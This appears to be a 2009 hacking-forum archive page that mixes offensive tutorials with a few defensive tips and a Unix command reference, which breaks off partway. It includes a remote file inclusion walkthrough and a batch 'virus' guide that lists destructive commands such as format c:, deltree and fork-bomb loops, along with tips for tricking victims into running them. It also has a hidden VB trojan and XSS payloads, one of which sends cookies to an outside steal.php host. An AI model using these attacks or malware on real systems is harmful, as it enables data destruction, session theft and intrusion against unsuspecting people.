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Canakar — Sun, 18 Oct 2009 23:49:10 CDT

Black Library News!

Re updatingour current collection.

Archive update:

Open Source!

Our open Source allows you to teach yourself without registering our website and/or allows you to improve your website with are growing collection of tutorials! Where to start? To start things off you need to first pick what you want to learn, To do this you click a Archive located under wiki pages (hacking a computer, hacking a website, etc)

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General!

Canakar — Thu, 19 Feb 2009 15:34:33 CST

here you can find many hacking articles that are general to the hacking world!

Archive:
Using Cmd
Hacking From Linux
Raising Hell with unix
Unix Bible
Psychotics Unix Bible
XSS Tutorial [INTRO]
RFI Tutorial

RFI Tutorial

Canakar — Thu, 19 Feb 2009 15:34:00 CST

In this article I will describe the following.
What is RFI?
What can it do?
What's happening?
How does one write a vulnerable script like this?
and probably some other shit.

This article is written with PHP example scripts and errors.

What is RFI?

Small Definition: RFI, (R)emote (F)ile (I)inclusion, is a small but deadly vulnerability found in a major part of the web today.
It allows one to (include) (remote) (files).

Well, lets start off by giving a small example.
You are browsing a site and notice in the URL that one of the GET arguments is index.php?page=index.
You click on the "news" link in the navigation and it changes to index.php?page=news.
So you do some playing around and change the name to index.php?page=abcd and you get an error.

[Now lets start describing this thing]

Error: Warning: include(abcd.txt) [function.include]: failed to open stream: No such file or directory in /web/public_html/script.php on line 192

Alright, at first glance alot of newbies would just look over this and not notice they found a RFI vulnerability.

This tiny error tells me a little bit of information.

The Path: /web/public_html/
It just let me know the full path to all there web files, nothing special for this article but can really help out if you plan on gaining more access.

The Function: [function.include]
It just told me that it is trying to "include(abcd.txt)"

Notice that in the small example we got this error by passing page=abcd. So in the background you can expect the PHP script to be doing something as the following.

include("{$_GET['page']}.txt"Wink;

With this type of script you are sort of limited on Local File Inclusion but for Remote File Inclusion this is wonderful.
????: CyberXtreme - Exclusive Hacking & Warez Community http://cyberxtreme.info/board//showthread.php?t=4041

By default a .txt document is received with a content type of text/plain, more on this in a second.

So now lets actually inject something. We are going to inject a small piece of code that just prints out Hello World 10 times on the vulnerable page.

The script:
<?PHP for ($i = 0; $i < 10; $i++) { echo "Hello World"; } ?> // This script will enter a loop increment the value of the variable $i by one each loop while printing out the words "Hello World"

Storing:
Now we need to stick this small script in a .txt file, the reason being is that I had just described above. a .txt file will not parse the file as PHP there for printing out the PHP code as normal text.
Now just upload this somewhere that you can access it from an IP or URL such as http://domain.com...

Now we need to go back to the vulnerable script we found and change the value to the location of your text file.
In this case we change it to index.php?page=http://domain.com/script

The reason that we left out the .txt is of what we noticed in the error.
The error is appending the .txt format to the page argument.

So when we send this the vulnerable script should be doing something like this
include("http://domain.com/script.txt"Wink; // including your remote file that has the PHP script in it.

Even though this script is stored in a plain text document, it is being passed threw the include() function in PHP.
This function is going to parse the PHP within this text file no matter what format the file was originally in.

So now looking at the page we should notice that it prints out "Hello World" 10 times. That means we successfully inject a PHP script and the server parsed it.

Congratulations!

Why would someone be vulnerable to this?
There are alot of people out there that program without any knowledge of security at all.
They write this small easy script <?PHP include("{$_GET['page']}.txt"Wink; ?> thinking that its going to save them alot of problems in the future.

Now they can simply create file.txt and link to index.php?page=file and it will include and parse that script no problem.

How To Catch A Hacker

Canakar — Wed, 18 Feb 2009 23:47:41 CST

Tip 1: Hackers cover their tracks. Experienced hackers cover them more thoroughly, but amateur hackers sometimes leave things behind. Don't expect them to leave any really big evidence behind; expect more of little things here and there you might find surprising. For example, if you're writing a term paper and a black hat hacker accidentally saved it when he took a paragraph out- that's suspicious. Where did that paragraph go? Well, for one thing, now you know he was in that area. Check the folders surrounding the file- you might find something.

Tip 2: Decipher between the type of hackers that are attacking you. Experienced hackers will have a more in depth look around when they penetrate your system. They won't touch much because they know that that won't add too much to their knowledge. But if you know a hacker's been in, and some files are messed with, and you have a log of someone guessing passwords to a file or something of that sort, its probably some newbie who's just starting out. These are the easiest hackers to catch. They usually get so caught up in thoughts like "I'm in!" that they forget the basics, such as work behind a proxy.

tip to protect yourself
My friend was setting up a webserver once. His first time too, and he wasn't to anxious to set up some good software to protect against hackers and viruses. He didn't put up one IDS, and before you know it, the obvious happened. But this time, a newbie had struck. The nice log files showed, bluntly across the screen, multiple instances of a foreign IP address that stood out. Some stupid newbie had tried to login as "uucp" on my friend's XP computer, with a password of "uucp." Well, that's great, but he also had tried the same user/pass combination three times, enough to get himself logged nicely. Even a semi-brainless user with some form of neurological system knows that uucp isn't a default XP account. Again, excitement toiled this hacker's brain, and maybe if he hadn't done that, along with a few other stupid things, he wouldn't have gotten caught. What other things did he do? Well, lets see. He openned 35 instances of MS-DOS. He tried to clean the printer's heads, and he edited a .gif in notepad. Then he uninstalled a few programs and installed some html editor, and replaced four files with the words "14P." he might as well have posted his phone number. In a few days, we had tracked him down to a
suburban town in Ohio. We let him go, not pressing any charges, because he had done nothing really damaging and had provided me with an example of a moron for this guide.

Tip 3: Don't go crazy if you lose data. Chances are, if it was that important, you would have backed it up anyway. Most hackers nowadays wish they were back in 1989 when they could use a Black Box and having a Rainbow Book actually meant something. Most hackers aren't blackhat, they are whitehat, and some even greyhat. But in the end, most hackers that are in systems aren't satisfied by looking around. From past experiences, I have concluded that many hackers like to remember where've they been. So, what do they do? They either press delete here and there, or copy some files onto their systems. Stupid hackers (yes, there are plenty of stupid hackers) send files to e-mail addresses. Some free email companies will give you the IP of a certain e-mail address's user if you can prove that user has been notoriously hacking you. But most of the time, by the time you get the e-mail addy it's been unused for weeks if not months or years, and services like hotmail have already deleted it

Tip 4: Save information! Any information that you get from a log file (proxy server IP, things like "14P", e-mail addresses that things were sent to, etc.) should be saved to a floppy disk (they're not floppy anymore, I wish I could get out of the habit of calling them that) incase there's a next time. If you get another attack, from the same proxy, or with similar e-mail addresses (e.g: one says Blackjack 123@something.whatever and the other says Black_jack_45@something.znn.com) you can make an assumption that these hackers are the same people. In that case, it would probably be worth the effort to resolve the IP using the proxy and do a traceroute. Pressing charges is recommended if this is a repeat offender.

Tip 5: Don't be stupid. If you've been hacked, take security to the next level. Hackers do talk about people they've hacked and they do post IPs and e-mail addresses. Proof? Take a look at Defcon Conventions. I've never gone to one, but I've seen the photos. The "Wall of Shame"-type of boards I've seen have IPs and e-mail addresses written all over them in fat red, dry-erase ink. Don't be the one to go searching the Defcon website and find your e-mail address posted on the Wall of Shame board!

Tip 6: Don't rely on luck. Chances are, sometime or another, you're going to be targeted for an attack. Here you can rely on luck. Maybe they'll forget? Maybe they don't know how to do it? If you think this way, a surprise is going to hit your face very hard. Another way you could stupidly rely on luck is by saying this: It's probably just a whitehat. On the contrary, my friend, it's probably just a blackhat. A blackhat with knowledge stored in his head, ready to be used as an ax. It's your data. You take the chance.

Having a Strong Password

Canakar — Wed, 18 Feb 2009 23:46:11 CST

How can i protect myself?

Canakar — Wed, 18 Feb 2009 23:41:41 CST

CAN I PROTECT MY COMPUTER FROM HACKERS?
By Michael Siersema

You cannot completely protect yourself from hackers. What you can do is make it difficult for them and they move on to easier prey. There are several areas that need protection from hackers. First is from viruses, second is to 'harden' your computer and the third is to report suspicious activity to the appropriate authorities. Yes, reporting does stop hackers and a hacker want-to-be. The best method for protecting several computers in a home network will be covered next month.
Virus Detection Software
The simplest method of protection is virus software - get it and use it! How does virus software stop hackers? Hackers use viruses to take over your system or send them information, like password, account numbers, credit card numbers… There are several virus software products available. The main caveat is that you update on a frequent basis. I am using a program that checks daily, by itself for updates and then installs the updates. Also the software should not just test system files, but check Internet downloads and email files.
Harden Your Computer
Use Stealth Software The newest level of protection is a recent class of software that block outside users from seeing your system. When your computer is on-line continuously, such as cable modem or DSL; hackers test all network addresses. This is very much like the war modem dialers you saw on movies that calls all telephone numbers to find a modem on the other end!
This new breed of software masks all attempts to see your computer - your IP address becomes a black hole as if there is no computer connected, or it is turned off. BlackICE Defender by Network ICE will install and tell record hacking events against your computer. BlackICE will provide information about the attack and what you can do to report the activity to the authorities. Another is called ZoneAlarm by Zone Labs that is free. It has additional benefits of monitoring traffic leaving your system, so you will know when someone is trying to use a 'trojan horse' attack on your system through a web site or email.
Report Hacker Activity
Report hacker activity to the ISP that the hacker is using. Send all information you have that can help. You can send an email to abuse @ the hackers ISP. If they need additional information they will respond. Also Spamcop.net is great to shutdown those pesky bulk email senders. This subject will be covered in more detail in the future.

Security

Canakar — Wed, 18 Feb 2009 23:41:08 CST

Learn how to Protect yourself from hackers!

Archive:
How can i protect myself?
Having a Strong Password
5 Common security Mistakes
How to Catch A Hacker

Notepade Virus [HowTo]

Canakar — Wed, 18 Feb 2009 23:40:23 CST

Index
1. Tools
2. What makes a virus a virus
3. Making your first batch file
4. Making a batch virus
5. Destructive commands
6. Most common tricks used to make someone open the file

1. Tools
To make a batch program you will need a text program (ex. Word,notepad,wordpad etc…) A keyboard if you don’t have one you can use the ON-screen keyboard
To get to the on-screen keyboard start>all programs>accessories>accessibility

2. What makes a virus a virus
When people think of a virus they think of a computer virus but the word virus came from a virus that’s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it can’t live with out a host. Same with a computer virus with out a file or a program a virus can’t be made.
So all a computer virus is: a program that copies it self ,but some people put destructive code in it.

3. Making a Batch file
I’m going to use notepad you can use what ever you want

We are also going to make a “Hello World” Application that is the first program you make in any language

When making a batch file you are always going to use this line first

@echo off

You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer.
You can experiment a little if you want.

Now we are going to make it say Hello World

To do this we need a echo command which looks like this
echo

This tells the program to write something since we want it to say Hello World we are going to type Hello World next to echo to make it look like this

echo Hello World

so at this point you should have

@echo off
echo Hello World

now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end.)
Save it to the desktop so you can get to it faster.

Then run it

You should of have a black box open and close really fast

To fix this we need a pause command and we will also need a goto command

The goto command is the most importent command

If you dont know the goto command tell it were to go to next.

since we need a pause command we want it to go to pause so we need to write goto pause like this

goto pause

now u should have

@echo off
echo Hello World
goto pause

now we need a subsection name pause

you make a sub section by putting a : by the first word like this

:start

or

:end

,but we said go to pause so we need one name pause like this

ause

then under that we are goin to write pause

ause
pause

this just makes it were it will keep the box open till you press a key

Optionl

At the end you can put a exit at the end of pause were the goto command should go ,but you dont have to.

save at run it now.You should be able to read your text now

4. Making a Batch file into a virus

This is alot easier then some people think.

To make a virus you just need the copy command which looks like this

copy

so lets make a new one by reading section 3 you should know you need the @echo off

@echo off
copy

allright we are going to name this file first

and we are going to make it copy itself to C:\WINDOWS just because no one looks in their

this is what it looks like (i will explain it)

@echo off
copy first C:\WINDOWS

copy-tells it to copy
first-is just the name of the file we want to copy
C:\WINDOWS- is the place you want to copy to

that is a virus

5. Destructive commands

If you get pissed at someone you might want to send him someting to mess with him. Here are some commands to add to the virus.

del -this del files

del file name
del (.txt*)

the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt

deltree- this deletes the whole folder

you can remeber it like this

Think of a tree if you type del you are only deleting a part of the tree ,but if you type deltree you are deleting the whole tree

format- this deltes everything

format c:

this delets everything in the c drive

open

this is just fun to use to scare some one but not do damage to something

open name of file

like to open notepad type

open notepad

to open microsoft paint type

open mspaint

just put ta crap load in their

also the next one that can be very usefull is looping

this will make the file repet it self til it is shut off

say your first sub section is called start

you would just make the goto command to go to start like

@echo off
:start
start notepad
goto start

that will open notepad over and over and if they dont close it it can crash their computer

to open the command window you have to use var. like %% (not going to explain var. it would be confusing)

@echo off
:whatever
start %0
goto whatever

this will open the black box over and over

6. Most command tricks

people will put it in a folder with a couple read me doc. and call it a game

people will say check this out it is so cool

people will say check out this hack or cheat i found for this game

to check if the are good do this

tell them to put it in a zip folder and send it

unzip and right click on the program(dont open it)

and press edit

that will show the sorce code and if you see something you dont like then delete it

Examples

for just a simp msg its

@echo off
echo *insert MSG here*
goto pause
ause
pause

for the a rapid command propt type screen its

@echo off
:whatever
start %0
goto whatever

for rapid note pad its

@echo off
:start
start notepad
goto start

for rapid ms paint its

@echo off
:start
start ms paint
goto start

Credit - AnTiFlaG

Making a VB virus

Canakar — Wed, 18 Feb 2009 23:37:09 CST

How to make a virus in VB ( With Pic step by step) -

first get Visual Basic 6.0 Enterprice or Professional both are ok.
To make a trojan horse we need to create two files a Server and a Client.

We start with the Client:
Open Visual Basic 6.0
Open a new standard.EXE

After you open the standard.exe you will look at form1 that is looking like this:

Add a 1 textbox and a 3 command buttons to the form.
Chance text of Textbox1 to 127.0.0.1 and set Alignment to Center
Chance caption of command button 1 to ?connect?
Chance caption of command button 2 to ?open msn?
Chance caption of command button 3 to ?open explorer?

It will looks a little like this:

Ok now we gonne add the Winsock.ocx by clicking right on the toolbox and click components to add the microsoft winsock control 6.0 (SP6)

Like this:

And add the winsock control to your project

Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = 1234
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Winsock1.SendData "msn"
End Sub

Private Sub Command3_Click()
Winsock1.SendData "ex"
End Sub

Private Sub Winsock1_Close()
Winsock1.Close
End Sub

Private Sub Winsock1_Connect()
Form1.Caption = "Connected To " & Text1.Text
End Sub

That?s all for the Client now so save this project and start up Visual Basic again.

Now we gonne make the server part so we can complete the trojan.
Start a new Standard.EXE
On this form we only gonne add the winsock.ocx control

Dubbel click on the Form to open the code place for Form1 and add the following code:

Private Sub Form_Load()
App.TaskVisible = False ?to make the server unvisible to Ctrl Alt Del
Me.Hide ?hide the Form when load
If App.PrevInstance = True Then
Unload Me ?if the App ir allready running close the App
End If
Winsock1.LocalPort = 1234
Winsock1.Listen ?let the server listen on port 1234 for you to connect
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data

If data = "msn" Then
On Error Resume Next
?open msn messenger on the server side
Shell ("C:Program FilesMSN Messengermsnmsgr.exe")
Shell ("C:ProgramMSN Messengermsnmsgr.exe")
End If

If data = "ex" Then
On Error Resume Next
?open explorer on the server side
Shell ("C:Program FilesInternet ExplorerIEXPLORE.EXE")
Shell ("C:ProgramInternet ExplorerIEXPLORE.EXE")
End If

End Sub

Hope this help you

Tut by sam64

Viruses

Canakar — Wed, 18 Feb 2009 23:36:41 CST

Here we will be learning how to create and program new and deadly viruses!

Archive:
Making a VB virus
Notepad Virus [HowTo]

XSS Tutorial [INTRO]

Canakar — Wed, 18 Feb 2009 23:36:11 CST

[Information]-----------------------------------------------------------------
Title: "Cross Site Scripting Tutorial [XSS]"
Author: NurBo`
---------------------------------------------------------------------------------

What is Cross Site Scripting:
XSS Stands for Cross Site Scripting, xss is a vulnerability that is
normal found
in a web app. XSS allows the user to inject malicious codes such as
HTML and
Java script. XSS can be used to steal cookies, make phishing pages and
just having some fun with the website.

What is A cookie:
A cookie is a text-only string that gets entered into the memory of
your browser.
This value of a variable that a website sets. If the lifetime of this
value is set
to be longer than the time you spend at that site, then this string
is saved to file for future reference.

What can XSS do now days?:
Cross Site Scripting is used commonly now days in the cyber
world. XSS can take down most websites that are up to date,
Cross Site Scripting can steal cookies from websites/forums.
Make pop ups, appear were there not suppose to "search bars"
etc. Or you can even do some very malicious codes such as
redirect the website to another one. The question is, is your
website safe?

Hacking forums/guest books with XSS:
Forum Hacking: Now in order to defaced or even attempt
to hack a forum. The forum must have HTML enabled, so you can
enter some malicious codes. If the forum does have HTML enabled
then you can enter codes such as;

Code:
<html>
<head><title>Enjoy the xss tutorial TD </title></head>
<body>
<img src="/javascript:alert('Defaced By:')">
</body>
</html>

If the forum allows the imagen tags then you can use this tag to
steal peoples cookies.

Code:
<img
src="/javascript:window.location='http://www.url.com/steal.php?account='+document.cookie">

Now to get to guest book hacking when your posting on the guest book
it must also be vulnerable. Meaning html must be enabled, to see if html
is enabled put these tags in your post <B>hello world</B> and if your
text comes back bold. Then html is enabled now try doing other techniques
you can also put some java script inside the html and see if that works.
And if it does or if it doesn't you can still deface the guest book
with writing
up some cool html codes that take up the whole guest book page.

Defacing Websites with Cross Site Scripting:
As many of you know Cross Site Scripting is used alot now days to exploit
websites and forums.
Mostly search functions etc. Now some of the common XSS'es now days
are within the search bars for websites. To make a box pop
up saying what every you put in the script. Some XSS codes are;

Quote:
<script>alert("NurBo`")</script>

<BODY ONLOAD=alert(document.cookie)>

"><script>alert(NurBo`);</script>

<script>window.document.write("<input type='file'>");</script>

<a href='search?searchterm=<b>Oh you clicked my link</b>'>NurBo`</a>

Now how can I deface a website with just making 1 little pop up on
the search bar page? You can redirect the site to your website or your
friends or you can steel cookies. Make a html defacement page and put
the whole code
in your script. You can do many things, with java script on a vulnerable
website.

Conclusion:
We'll I hope you guy's liked this introduction tutorial to what XSS
(" Cross Site Scripting ") can do. I will be making more advance tutorials
in the near future. So I hope this tutorial taught a few people what XSS
can do and how fun it is. Keep your sites secure and enjoy!

Psychotics Unix Bible

Canakar — Wed, 18 Feb 2009 23:35:41 CST

Psychotic's Unix Bible Writen by Virtual Circuit

* Psychotic's Unix Bible writen by Virtual Circuit. This document may not be changed in any way. You may distribute this unix bible as much as you like, I wrote it as a reference for the public and that's how I want it to remain. Any questions you have regarding this text you may reach me at rhat@cts.com.
*

A list of commands and a quick description

alias ......... this allows the user view the current aliases
awk ............ this allows the user to search for a pattern within a file
bdiff .......... compares two large files
bfs ............ scans a large file
cal ............ shows a calendar
cat ............ concatenates and prints a file
cc ............. c compiler
cd ............. changes directories
chgrb .......... changes a file groups ownership
chmod .......... changes the permission on a file
chown .......... changes the individual ownership of a file
cmp ............ compairs two files
comm ........... compares two files so as to determine which lines are common to both
cp ............. copies file to another location
cu ............. calls another unix sysytem
date ........... returns the date and time
df ............. shows all mounted drives on your machine
diff ........... displays the diference between two files
du ............. shows the disk usage in blocks for a directory
echo ........... echoes the data to the screen or file
ed ............. text editor
env ............ lists the current environment variables
ex ............. another text editor
expr ........... evaluates a mathmatical formula
find ........... finds a file
f77 ............ fortran complier
format ......... initializes a floppy disk
grep ........... searches for a pattern within a file
help ........... gives help
kill ........... stops a running process
ln ............. creates a link between two files
lpr ............ copies the file to the line printer
ls ............. lists the files in a directory
mail ........... allows the user to send/receive mail
mkdir .......... makes directory
more ........... displays a data file to the screen
mv ............. used to move or rename files
nohup .......... allows a command to continue running even when you log out
nroff .......... used to format text
passwd ......... changes your password
pkgadd ......... installs a new program onto your machine
ps ............. Lists the current processes running
pwd ............ displays the name of the working directory
rm ............. removes files
rmdir .......... removes directories
set ............ lists all the variables in the current shell
setenv ......... sets the environment variables
sleep .......... causes a process to become inactive
source ......... allows the user to execute a file and update any changed values in that file
sort ........... sorts files
spell .......... checks for spelling errors in a file
split .......... divides a file
stty ........... sets the terminal options
tail ........... displays the end of a file
tar ............ copies all specified files into one
touch .......... creates an empty file or updates the time/date stamp on a file
troff .......... outputs formatted output
tset ........... sets the terminal type
umask .......... specify a new creation mask
uniq ........... compairs two files
uucp ........... unix to unix execute
vi ............. full screen editor
vipw ........... opens the vi editor as well as password file for editing
volcheck ....... checks to see if there is a floppy disk mounted to your machine
wc ............. displays detail in the full size
who ............ inf. on other people online
write .......... send a message to another user
! .............. repeats commands

More commands with a better description (Not all commands are listed):

cat: -b, --number-nonblank

Number all nonblank output lines, starting with 1.

-e
Equivalent to -vE.

-n, --number
Number all output lines, starting with 1.

-s, --squeeze-blank
Replace multiple adjacent blank lines with a single blank line.

-t
Equivalent to -vT.

-u
Ignored; for Unix compatibility.

-v, --show-nonprinting
Display control characters except for LFD and TAB using `^' notation and precede characters that have the high bit set with `M-'.

-A, --show-all
Equivalent to -vET.

-E, --show-ends
Display a `$' after the end of each line.

-T, --show-tabs
Display TAB characters as `^I'.

--help
Print a usage message and exit with a status code indicating success.

--version
Print version information on standard output then exit.

cd: directory becomes the new working directory. The process must have execute (search) permission in directory. If cd is used without arguments, it returns you to your login directory. In csh you may specify a list of directories in which directory is to be sought as a subdirectory if it is not a subdirectory of the current directory; see the description of the cdpath variable in csh.

chmod: The format of a symbolic mode is `[ugoa...][[+=][rwxXstugo...]...][,...]'. Multiple symbolic operations can be given, separated by commas.

A combination of the letters `ugoa' controls which users' access to the file will be changed: the user who owns it (u), other users in the file's group (g), other users not in the file's group (o), or all users (a). If none of these are given, the effect is as if `a' were given, but bits that are set in the umask are
not affected.

The operator `+' causes the permissions selected to be added to the existing permissions of each file; `-' causes them to be removed; and `=' causes them to be the only permissions that the file has.

The letters `rwxXstugo' select the new permissions for the affected users: read (r), write (w), execute (or access for directories) (x), execute only if the file is a directory or already has execute permission for some user (X), set user or group ID on execution (s), save program text on swap device (t), the permissions that the user who owns the file currently has for it (u), the permissions that other users in the file's group have for it (g), and the permissions that other users not in the file's group have for it (o).

A numeric mode is from one to four octal digits (0-7), derived by adding up the bits with values 4, 2, and 1. Any omitted digits are assumed to be leading zeros. The first digit selects the set user ID (4) and set group ID (2) and save text image (1) attributes. The second digit selects permissions for the user who owns the file: read (4), write (2), and execute (1); the third selects permissions for
other users in the file's group, with the same values; and the fourth for other users not in the file's group, with the same values.

chmod never changes the permissions of symbolic links; the chmod system call cannot change their permissions. This is not a problem since the permissions of symbolic links are never used. However, for each symbolic link listed on the command line, chmod changes the permissions of the pointed to file. In contrast, chmod ignores symbolic links encountered during recursive directory traversals.

OPTIONS
-c, --changes
Verbosely describe only files whose permissions actually change.

-f, --silent, --quiet
Do not print error messages about files whose permissions cannot be changed.

-v, --verbose
Verbosely describe changed permissions.

-R, --recursive
Recursively change permissions of directories and their contents.

--help
Print a usage message on standard output and exit successfully.

--version
Print version information on standard output then exit successfully.

clear: clear clears your screen if this is possible. It looks in the environment for the terminal type and then in /etc/termcap to figure out how to clear the screen.

date: This manual page documents the GNU version of date. date with no arguments prints the current time and date (in the format of the `%c' directive described below). If given an argument that starts with a `+', it prints the current time and date in a format controlled by that argument, which has the same format as the format string passed to the `strftime' function. Except for directives that start with `%', characters in that string are printed unchanged.

The directives are:

%
a literal %

n
a newline

t
a horizontal tab

Time fields:

%H
hour (00..23)

%I
hour (01..12)

%k
hour ( 0..23)

%l
hour ( 1..12)

%M
minute (00..59)

%p
locale's AM or PM

%r
time, 12-hour (hh:mm:ss [AP]M)

%s
seconds since 1970-01-01 00:00:00 UTC (a nonstandard extension)

%S
second (00..61)

%T
time, 24-hour (hh:mm:ss)

%X
locale's time representation (%H:%M:%S)

%Z
time zone (e.g., EDT), or nothing if no time zone is determinable

Date fields:

%a
locale's abbreviated weekday name (Sun..Sat)

%A
locale's full weekday name, variable length (Sunday..Saturday)

%b
locale's abbreviated month name (Jan..Dec)

%B
locale's full month name, variable length (January..December)

%c
locale's date and time (Sat Nov 04 12:02:33 EST 1989)

%d
day of month (01..31)

%D
date (mm/dd/yy)

%h
same as %b

%j
day of year (001..366)

%m
month (01..12)

%U week number of year with Sunday as first day of week (00..53)

%w
day of week (0..6) with 0 corresponding to Sunday

%W
week number of year with Monday as first day of week (00..53)

%x
locale's date representation (mm/dd/yy)

%y
last two digits of year (00..99)

%Y
year (1970...)

By default, date pads numeric fields with zeroes. GNU date recognizes the following nonstandard numeric modifiers:

-
(hyphen) do not pad the field

_
(underscore) pad the field with spaces

If given an argument that does not start with `+', date sets the system clock to the time and date specified by that argument. The argument must consist entirely of digits, which have the following meaning:

MM
month

DD
day within month

hh
hour

mm
minute

CC
first two digits of year (optional)

YY
last two digits of year (optional)

ss
second (optional)

Only the superuser can set the system clock.

OPTIONS
-d datestr, --date datestr
Display the time and date specified in datestr, which can be in almost any common format. The display is in the default output format, or if an argument starting with `+' is given to date, in the format specified by that argument.

--help
Print a usage message on standard output and exit successfully.

-s datestr, --set datestr
Set the time and date to datestr, which can be in almost any common format. It can contain month names, timezones, `am' and `pm', etc.

-u, --universal
Print or set the time and date in Coordinated Universal Time (also known as Greenwich Mean Time) instead of in local (wall clock) time.

--version
Print version information on standard output then exit successfully.

find: find recursively descends the directory hierarchy for each pathname in the pathname-list, seeking files that match a logical expression written using the operators listed below.

find does not follow symbolic links to other files or directories; it applies the selection criteria to the symbolic links themselves, as if they were ordinary files (see ln(1V) for a description of symbolic links).

If the fast-find feature is enabled, find displays pathnames in which a filename component occurs.

USAGE

Operators

In the descriptions, the argument n is used as a decimal integer where +n means more than n, -n means less than n, and n means exactly n.

-fstype type
True if the filesystem to which the file belongs is of type type, where type is typically 4.2 or nfs.

-name filename True if the
filename argument matches the current file name. Shell argument syntax can be used if escaped (watch out for [, ? and *).

-perm onum
True if the file permission flags exactly match the octal number onum (see chmod(1V)). If onum is prefixed by a minus sign, more flag bits (017777, see chmod(1V)) become significant and the flags are compared: (flags&onum)==onum.

-prune
Always yields true. Has the side effect of pruning the search tree at the file. That is, if the current path name is a directory, find will not descend into that directory.

-type c
True if the type of the file is c, where c is one of:

b
for block special file c

c
for character special file

d
for directory

f
for plain file

p
for named pipe (FIFO)

l
for symbolic link

s
for socket

-links n
True if the file has n links.

-user uname
True if the file belongs to the user uname. If uname is numeric and does not appear as a login name in the /etc/passwd database, it is taken as a user ID.

-nouser
True if the file belongs to a user not in the /etc/passwd database.

-group gname
True if the file belongs to group gname. If gname is numeric and does not appear as a login name in the /etc/group database, it is taken as a group ID.

-nogroup
True if the file belongs to a group not in the /etc/group database.

-size n
True if the file is n blocks long (512 bytes per block). If n is followed by a c, the size is in characters.

-inum n
True if the file has inode number n.

-atime n
True if the file has been accessed in n days. Note: the access time of directories in path-name-list is changed by find itself.

-mtime n
True if the file has been modified in n days.

-ctime n
True if the file has been changed in n days. "Changed" means either that the file has been modified or some attribute of the file (its owner, its group, the number of links to it, etc.) has been changed.

-exec command
True if the executed command returns a zero value as exit status. The end of command must be punctuated by an escaped semicolon. A command argument {} is replaced by the current pathname.

-ok command
Like -exec except that the generated command is written on the standard output, then the standard input is read and the command executed only upon response y.

-print
Always true; the current pathname is printed.

-ls
Always true; prints current pathname together with its associated statistics. These include (respectively) inode number, size in kilobytes (1024 bytes), protection mode, number of hard links, user, group, size in bytes, and modification time. If the file is a special file the size field will instead contain the major and minor device numbers. If the file is a symbolic link the pathname of the linked-to file is printed preceded by `->'. The format is identical to that of ls -gilds (see ls(1V)). Note: formatting is done internally, without executing the ls program.

-cpio device
Always true; write the current file on device in cpio(5) format (5120-byte records).

-ncpio device
Always true; write the current file on device in cpio -c format (5120-byte records).

-newer file
True if the current file has been modified more recently than the argument filename.

-xdev
Always true; find does not traverse down into a file system different from the one on which current argument pathname resides.

-depth
Always true; find descends the directory hierarchy, acting on the entries in a directory before acting on the directory itself. This can be useful when find is used with cpio to transfer files that are contained in directories without write permission.

(expression)
True if the parenthesized expression is true. Note: Parentheses are special to the shell and must be escaped.

!primary
True if the primary is false (! is the unary not operator).

primary1 [ -a ] primary2
True if both primary1 and primary2 are true. The -a is not required. It is implied by the juxtaposition of two primaries.

primary1 -o primary2
True if either primary1 or primary2 is true (-o is the or operator).

Fast-Find
The fast-find feature is enabled by the presence of the find.codes database in /usr/lib/find. You must be root to build or update this database by running the updatedb script in that same directory. You may wish to modify the updatedb script to suit your needs.

An alternate database can be specified by setting the FCODES environment variable. cp: cp copies the contents of filename1 onto filename2. The mode and owner of filename2 are preserved if it already existed; the mode of the source file is used otherwise. If filename1 is a symbolic link, or a duplicate hard link, the contents of the file that the link refers to are copied; links
are not preserved.

In the second form, cp recursively copies directory1, along with its contents and subdirectories, to directory2. If directory2 does not exist, cp creates it and duplicates the files and subdirectories of directory1 within it. If direc_tory2 does exist, cp makes a copy of the directory1 directory within directory2 (as a subdirectory), along with its files and subdirectories.

In the third form, each filename is copied to the indicated directory; the basename of the copy corresponds to that of the original. The destination directory must already exist for the copy to succeed.

cp refuses to copy a file onto itself.
finger: By default, finger displays information about each logged-in user, including his or her: login name, full name, terminal name (prepended with a `*' if write-permission is denied), idle time, login time, and location (comment field in /etc/ttytab for users logged in locally, hostname for users logged in
remotely) if known.

Idle time is minutes if it is a single integer, hours and minutes if a `:' is present, or days and hours if a d is present.

When one or more name arguments are given, more detailed information is given for each name specified, whether they are logged in or not. A name may be a first or last name, or an account name. Information is presented in a multiline format, and includes, in addition to the information mentioned above: the user's home directory and login shell the time they logged in if they are currently logged in, or the time they last logged in if they are not, as well as the terminal or host from which they logged in and, if a terminal, the comment field in /etc/ttytab for that terminal the last time they received mail, and the last time they read their mail any plan contained in the file .plan in the user's home directory and any project on which they are working described in the file .project (also in that directory)

If a name argument contains an at-sign, `@', then a connection is attempted to the machine named after the at-sign, and the remote finger daemon is queried. The data returned by that daemon is printed. If a long format printout is to be produced, finger passes the -l option to the remote finger daemon over the network using the /W feature of the protocol (see NAME/FINGER Protocol).
grep: Grep searches the named input files (or standard input if no files are named, or the file name - is given) for lines containing a match to the given pattern. By default, grep prints the matching lines.

There are three major variants of grep, controlled by the following options.

-G Interpret pattern as a basic regular expression (see below). This is the default.

-E Interpret pattern as an extended regular expression (see below).

-F
Interpret pattern as a list of fixed strings, separated by newlines, any of which is to be matched. In addition, two variant programs egrep and fgrep are available. Egrep is similiar (but not identical) to grep -E, and is compatible with the historical Unix egrep. Fgrep is the same as grep -F.

All variants of grep understand the following options: -num Matches will be printed with num lines of leading and trailing context. However, grep will never print any given line more than once.

-A num
Print num lines of trailing context after matching lines.

-B num
Print num lines of leading context before matching lines.

-C
Equivalent to -2. -V Print the version number of grep to standard error. This version number should be included in all bug reports (see below).

-b
Print the byte offset within the input file before each line of output.

-c
Suppress normal output; instead print a count of matching lines for each input file. With the -v option (see below), count non-matching lines. -e pattern Use pattern as the pattern; useful to protect patterns beginning with -. -f file Obtain the pattern from file.

-h
Suppress the prefixing of filenames on output when multiple files are searched.

-i
